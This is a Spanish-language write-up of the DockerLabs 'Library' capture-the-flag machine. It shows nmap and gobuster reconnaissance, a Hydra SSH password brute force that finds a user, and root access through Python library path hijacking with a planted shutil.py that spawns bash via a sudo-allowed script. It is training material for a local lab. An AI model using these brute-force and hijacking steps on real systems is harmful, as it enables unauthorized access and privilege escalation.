> For the complete documentation index, see [llms.txt](https://brias.gitbook.io/brias/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://brias.gitbook.io/brias/dockerlabs/dificultad-facil/library.md).

# Library

### **1. Despliegue de la máquina**

#### **1.1. Descarga**

Accedemos a la web oficial de [DockerLabs](https://dockerlabs.es/), buscamos la máquina **Library** y pulsamos en el botón de descarga. Esto nos redirige a un enlace de Mega, desde donde descargamos un archivo comprimido que contiene tanto la imagen de la máquina como el script necesario para su ejecución.

#### **1.2. Descompresión**

Utilizamos la herramienta `7z` para extraer los archivos:

```bash
7z x library.zip
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2F8AUSPh3b22EIhy8dkhxg%2FPasted%20image%2020250707105353.png?alt=media&amp;token=8fa993de-04b9-432b-a38f-1cd5acce4295" alt=""><figcaption></figcaption></figure>

#### **1.3. Ejecución**

Desplegamos el entorno con el siguiente comando:

```bash
bash auto_deploy.sh library.tar
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2F7LWoFMW6i6ha7vdagAsS%2FPasted%20image%2020250707105430.png?alt=media&amp;token=eeac441b-74fb-481e-a711-64c21a480f76" alt=""><figcaption></figcaption></figure>

### **2. Reconocimiento**

#### **2.1. Verificación de conectividad**

Realizamos un `ping` para confirmar que la máquina está activa:

```bash
ping -c 1 172.17.0.2
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2Fquv9GhSXISVfdITnIGZ1%2FPasted%20image%2020250707105512.png?alt=media&amp;token=a2b9fe0a-9cd9-4beb-914a-b9dfccd7a3bf" alt=""><figcaption></figcaption></figure>

#### **2.2. Escaneo de puertos**

Ejecutamos un escaneo rápido con `nmap` para identificar puertos abiertos:

```bash
nmap -p- -sS --open --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG allPorts
```

**Resultados:**

* **Puerto 22:** `SSH`.
* **Puerto 80:** `HTTP`.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FyaoohodVQCCzIUesRClC%2FPasted%20image%2020250707105535.png?alt=media&amp;token=a3d20397-cda5-4e17-94b0-b3152752c375" alt=""><figcaption></figcaption></figure>

#### **2.3. Escaneo detallado**

Realizamos un escaneo más exhaustivo de los puertos abiertos:

```bash
nmap -p22,80 -sCV 172.17.0.2 -oN targeted
```

**Resultados:**

* **Puerto 22:** OpenSSH 9.6p1.
* **Puerto 80:** Apache 2.4.58.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2F4IvgLg3lRFcO4BxqO8vu%2FPasted%20image%2020250707105556.png?alt=media&amp;token=fd038fce-c754-4c9d-b244-3e28aa6afae2" alt=""><figcaption></figcaption></figure>

#### **2.4. Análisis del servicio web**

Accedemos a `http://172.17.0.2/` y comprobamos que se muestra la página por defecto del servicio de Apache.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2F9uKDIRluVDQusoevDIOe%2FPasted%20image%2020250707105628.png?alt=media&amp;token=7f25170d-20f6-4899-a694-7f2457cc3974" alt=""><figcaption></figcaption></figure>

#### **2.5. Enumeración de directorios y archivos**

Buscamos directorios y archivos ocultos con `gobuster`:

```bash
gobuster dir -u http://172.17.0.2/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,html
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FR9SUMCnMF4iGctI6k0bD%2FPasted%20image%2020250707105819.png?alt=media&amp;token=6512354e-eb8f-46ef-9572-6bb56c576249" alt=""><figcaption></figcaption></figure>

**Resultado relevante:**

* `index.php`: Contiene una posible contraseña (`JIFGHDS87GYDFIGD`) para conectarnos por SSH.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2Fos27B7IJTmv8eEHxfTcQ%2FPasted%20image%2020250707105827.png?alt=media&amp;token=0b96afb9-3b4a-4445-a2d3-6ee57af334f7" alt=""><figcaption></figcaption></figure>

### **3. Explotación**

#### **3.1. Fuerza bruta con Hydra**

Ejecutamos un ataque de fuerza bruta para encontrar el usuario asociado a la contraseña que hemos descubierto anteriormente:

```bash
hydra -L /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt -p JIFGHDS87GYDFIGD 172.17.0.2 ssh -t 4
```

**Credenciales encontradas:**

* **Usuario:** `carlos`.
* **Contraseña:** `JIFGHDS87GYDFIGD`.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FZKlc6XiLvLdswAvgOuUk%2FPasted%20image%2020250707105920.png?alt=media&amp;token=fff2292f-4d6b-46e7-a18f-3823e9d3b42a" alt=""><figcaption></figcaption></figure>

#### **3.2. Acceso por SSH**

Accedemos al sistema por SSH con las credenciales obtenidas:

```bash
ssh carlos@172.17.0.2
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FqBQgMEFenZwDE6ZzgVQj%2FPasted%20image%2020250707105945.png?alt=media&amp;token=8d487ace-b97a-41de-8e4a-9b317497f94f" alt=""><figcaption></figcaption></figure>

### **4. Escalada de privilegios**

#### **4.1. Análisis de permisos sudo**

Verificamos los comandos que el usuario `carlos` puede ejecutar con `sudo`.

**Resultado:** El usuario `carlos` puede ejecutar el script `/opt/script.py` como `root` sin proporcionar contraseña:

```bash
(ALL) NOPASSWD: /usr/bin/python3 /opt/script.py
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2Fu6L2gNxwPon7xACD8vRn%2FPasted%20image%2020250707110014.png?alt=media&amp;token=fb4abd9f-f0cc-4777-95f3-6d9c2ca00075" alt=""><figcaption></figcaption></figure>

#### **4.2. Library Path Hijacking**

El script utiliza la librería `shutil`.

Aprovechamos esto para realizar un **Library Path Hijacking**.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FoUyHx4tcMMsXWGd95p5M%2FPasted%20image%2020250707110046.png?alt=media&amp;token=2e85f114-f626-4209-b4f0-90c5e69fb813" alt=""><figcaption></figcaption></figure>

#### **4.3. Creación de una librería maliciosa**

En el directorio `/opt/`, creamos un archivo `shutil.py` con el siguiente contenido:

```python
import os
os.system("bash")
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FFH5M1cwULFjhTaGc2Sxi%2FPasted%20image%2020250707110231.png?alt=media&amp;token=c6d3ac72-21a7-4198-b773-3b179b2e5dce" alt=""><figcaption></figcaption></figure>

#### **4.4. Ejecución del script como root**

Ejecutamos el script con privilegios elevados:

```bash
sudo /usr/bin/python3 /opt/script.py
```

**Resultado:** Obtenemos una shell como `root`.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FOApIF6Pj39XPGjEg5TD6%2FPasted%20image%2020250707110255.png?alt=media&amp;token=aca57c0e-b7bd-4326-9680-2349beff4a54" alt=""><figcaption></figcaption></figure>
